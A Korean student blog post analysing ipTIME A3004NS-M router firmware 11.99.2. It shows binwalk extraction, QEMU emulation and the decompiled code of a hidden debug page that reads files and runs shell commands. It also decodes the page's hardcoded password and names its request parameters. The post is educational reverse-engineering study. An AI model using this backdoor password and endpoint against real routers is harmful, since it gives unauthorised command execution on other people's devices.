Notice
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Archives
Today
Total
관리 메뉴

amo blog

[BoB] ipTIME A3004NS-M 펌웨어 버전 11.99.2 분석 본문

Study/Hacking

[BoB] ipTIME A3004NS-M 펌웨어 버전 11.99.2 분석

dys4nt 2023. 7. 11. 19:56

1. 개요

1-1. 선택한 펌웨어

먼저 ipTIME 공식 홈페이지에 접속하여서 나의 공유기에 맞는 버전의 펌웨어를 다운받았다.

 

선택한 펌웨어는 ipTIME A3004NS-M 공유기의 11.99.2 버전 펌웨어이다.

1-2. 선택한 이유

이 펌웨어를 선택한 이유로는 최신 버전에서는 .xz파일이 압축 해제되지 않아서 삽질을 하였고, 이하 버전을 찾아보던 중 가장 다운로드 수가 많은 버전이였기 때문이였다.

 

펌웨어를 다운받고 binwalk 명령을 통해서 펌웨어의 구조를 살펴보았다.

 

2-1. 펌웨어 리버싱 명령어

파일은 다음과 같은 구성으로 되어있다.

0x0 ~ 0x40 uImage 헤더, 리눅스 os의 커널 이미지를 담고 있음.

0x40 ~ 0x348769 Squashfs 파일시스템. 리틀 엔디언 구조, 4.0 버전, xz로 압축되었음.

ARM의 아키텍처가 사용됨. 

 

$ binwalk -e a3004nm_kr_11_992.bin

명령어로 extract한 다음 파일시스템을 살펴보았다.

 

리눅스 파일시스템의 형태를 띄고 있다.

여기서 ipTIME 공유기에 접속하면 .cgi 확장자로 된 url 링크에 접속하는 것을 확인할 수 있는데, 이로써 /cgibin 디렉토리에 중요한 파일들이 모여있을 것으로 추측하였다.

 

예상대로 여러 중요한 파일들로 구성되어 있었다.

 

home 디렉토리에는 httpd라는 사용자가 생성되어있었다.

bin 디렉토리를 살펴보면 

busybox라는 파일에 연결되어있음을 확인할 수 있는데, 공유기에서 busybox라는 소프트웨어가 사용됨을 처음으로 알게 되었다.

 

2-2. 펌웨어 구성 설명

?

 

3-1. bash 실행 방법

쉘을 실행하기 위해서 ./bin/sh 파일의 아키텍를 살펴보기로 했다.

MIPS R3000 머신이라 나와있다. mips 아키텍로 구동되는 파일을 실행하기 위해서 qemu-user-static 패키지를 설치하였고, /usr/bin 디렉토리에 있는 qemu-mipsel-static을 펌웨어의 / 디렉토리로 복사하였다.

 

그 다음 chroot을 이용해서 / 디렉토리를 새롭게 정의한 상태로 /bin/sh 파일을 실행하였고 쉘을 실행할 수 있었다.

 

3-2. 주요 발견 사항

show_debug_screen 함수에서 디버깅에 사용되는 숨겨진 코드를 발견하였다.

 

int __fastcall show_debug_screen(int a1)
{
  int result; // $v0
  bool v3; // dc
  int v4; // $s0
  int v5; // $s1
  int v6; // $s1
  char v7[32]; // [sp+18h] [-4A4h] BYREF
  char v8[128]; // [sp+38h] [-484h] BYREF
  char v9[6]; // [sp+B8h] [-404h] BYREF
  char v10; // [sp+BEh] [-3FEh]
  char v11; // [sp+BFh] [-3FDh]
  char v12; // [sp+C0h] [-3FCh]
  char v13; // [sp+C1h] [-3FBh]
  char v14; // [sp+C2h] [-3FAh]
  char v15; // [sp+C3h] [-3F9h]
  char v16; // [sp+C4h] [-3F8h]
  char v17; // [sp+C5h] [-3F7h]
  char v18; // [sp+C6h] [-3F6h]
  char v19; // [sp+C7h] [-3F5h]
  char v20; // [sp+C8h] [-3F4h]
  char v21[256]; // [sp+1B8h] [-304h] BYREF
  char v22[516]; // [sp+2B8h] [-204h] BYREF

  result = get_remote_support();
  if ( result )
  {
    result = check_default_pass();
    if ( !result )
    {
      strcpy(v9, "");
      if ( !get_value(a1, "act", v7, 32) )
        goto LABEL_50;
      if ( strcmp(v7, "1") )
        goto LABEL_50;
      v3 = get_value(a1, "aaksjdkfj", v9, 256) == 0;
      result = 33;
      if ( !v3 )
      {
        result = 64;
        if ( v9[0] == 33 )
        {
          result = 100;
          if ( v9[1] == 64 )
          {
            result = 110;
            if ( v9[2] == 100 )
            {
              result = 106;
              if ( v9[3] == 110 )
              {
                result = 115;
                if ( v9[4] == 106 )
                {
                  result = 114;
                  if ( v9[5] == 115 )
                  {
                    result = 117;
                    if ( v10 == 114 && v11 == 117 )
                    {
                      result = v12;
                      if ( v12 == v10 && v13 == 101 && v14 == 108 && v15 == 113 && v16 == 106 )
                      {
                        result = 109;
                        if ( v17 == v12 )
                        {
                          result = 42;
                          if ( v18 == 109 )
                          {
                            result = 38;
                            if ( v19 == 42 && v20 == 38 )
                            {
LABEL_50:
                              if ( get_value(a1, "act", v7, 32)
                                && !strcmp(v7, "1")
                                && get_value(a1, "fdump", v7, 32)
                                && !strcmp(v7, "on") )
                              {
                                result = get_value(a1, "fname", v8, 128);
                                if ( result )
                                {
                                  v4 = fopen(v8, "r");
                                  if ( v4 )
                                  {
                                    while ( fgets(v22, 256, v4) )
                                      printf("%s", v22);
                                    return fclose(v4);
                                  }
                                  else
                                  {
                                    return puts("file open error!");
                                  }
                                }
                              }
                              else
                              {
                                puts("<html>");
                                puts("<br><br><center>");
                                puts("<form method=get action=\"d.cgi\" name=\"dform\">");
                                printf("<input type=hidden name=act value=1>");
                                puts(
                                  "File Name : <input type=text name=\"fname\" value=\"\" size=50 maxlength=120><br><br>");
                                puts(
                                  "Command Name : <input type=text name=\"cmd\" value=\"\" size=64 maxlength=256><br><br>");
                                printf(
                                  "<input type=text name=\"aaksjdkfj\" value=\"%s\" size=64 maxlength=256><br><br>\n",
                                  v9);
                                puts("<input type=submit name=\"dapply\" value=\" Show \">");
                                puts("</form>");
                                puts("</center><br><br>");
                                result = get_value(a1, "act", v7, 32);
                                if ( result )
                                {
                                  result = strcmp(v7, "1");
                                  if ( !result )
                                  {
                                    if ( get_value(a1, "fname", v8, 128) )
                                    {
                                      v5 = fopen(v8, "r");
                                      if ( v5 )
                                      {
                                        while ( fgets(v22, 256, v5) )
                                          printf("<font size=-1>%s</font><br>\n", v22);
                                        fclose(v5);
                                      }
                                      else
                                      {
                                        puts("file open error!");
                                      }
                                    }
                                    result = get_value(a1, "cmd", v21, 256);
                                    if ( result )
                                    {
                                      printf("<b>command = %s</b><br><br>", v21);
                                      snprintf(v22, 512, "%s >> /var/run/cmd_temp", v21);
                                      system(v22);
                                      v6 = fopen("/var/run/cmd_temp", "r");
                                      if ( v6 )
                                      {
                                        while ( fgets(v22, 256, v6) )
                                          printf("<font size=-1>%s</font><br>\n", v22);
                                        fclose(v6);
                                      }
                                      return unlink("/var/run/cmd_temp");
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  return result;
}

계속 변수를 숫자와 비교하는 것으로 보아 문자열의 각 값을 비교하는 것이라 추측하고 다음과 같은 코드를 작성하였다.

 

li = [33,64,100,110,106,115,114,117,114,101,108,113,106,114,109,42,38]
s = ""
for num in li:
    s += chr(num)
print(s)

이 코드의 실행결과는 아래와 같으며, dnjsrurelqjrm는 원격디버그를 영어로 친 것이다.

get 방식으로 aaksjdkfj 인자가 !@dnjsrurelqjrm*&일 경우 디버거가 실행되는 것으로 보인다.

 

3-3. 로컬에서 웹 서버 실행 및 login gui 접속

인터넷 글을 참조하여서 이 환경을 실행하려고 시도해보았다.

 

QEMU로 가상환경을 실행한 다음, SSH, HTTP 포트를 4022, 4080으로 포트포워딩한다. SSH로 /squashfs-root 디렉토리를 압축한 squashfs-root.tar 파일을 전송한 다음 압축해제한다. 그 다음 펌웨어를 정상적으로 실행할 수 있도록 루트 위치를 바꿔준다.

 

그러나 이 과정에서 계속 오류가 발생하여서 제대로 구현하지는 못하였다.

 

4. 결론

4-1. 배운점

펌웨어의 구조에 대해서 공부해보고 직접 실습하는 계기를 가졌다. 이 과정에서 x86-64가 아닌 다른 아키텍처에 대해서 접하면서 기존의 명령어가 아닌 새로운 명령어에 대해 접하면서 새로운 언어를 공부하는 것과 같은 느낌이 들었다.

 

binwalk의 사용법에 대해서도 배우면서 포렌식에 대해서 자세히 알게 된 것 같다. 또한 다른 아키텍처로 만들어진 코드를 x86-64에서 실행하는 라이브러리에 대해서 배웠다. 마지막으로 IDA Pro의 중요성에 대해서 배우게 되었다.

 

4-2. 앞으로?

리눅스 커널 및 부트로더, 파일시스템에 대해서 자세히 배워야겠다. qemu로 가상환경을 구성하면서 커널 파일, HDA에 대해서 배우게 되었다. 커널에 대해서 다른 수업에서도 배우게 되었는데 커널에 대해서 많은 관심을 가지게 되어서 잘 배울 수 있을 것 같다. 또한 리눅스에 대해서 정말 아는 것이 많이 없다는 느낌이 들었고, 기존에 사용하던 여러 명령어들이 아닌 새로운 binwalk. chroot, readelf과 같은 명령어들을 사용해보면서 새로움을 느꼈다. 리눅스 마스터를 따고 싶다는 생각이 들었다. 마지막으로 하드웨어 속 소프트웨어 코드를 직접 리버싱 해본적이 처음이였는데 내 주변 여러 기기들의 펌웨어를 분석해서 IoT 기기들을 직접 해킹해보고 싶다.

 

'Study > Hacking' 카테고리의 다른 글

[HackTheBox] Templated  (0) 2023.07.13
[pwn.college] Talking Web - level1  (0) 2023.07.13
[cryptohack.org] Introduction  (0) 2023.07.11
[BoB] 230702 디지털포렌식 알쓸신잡_과제  (0) 2023.07.07
[BoB] 230706 유니코드 정복_과제  (0) 2023.07.07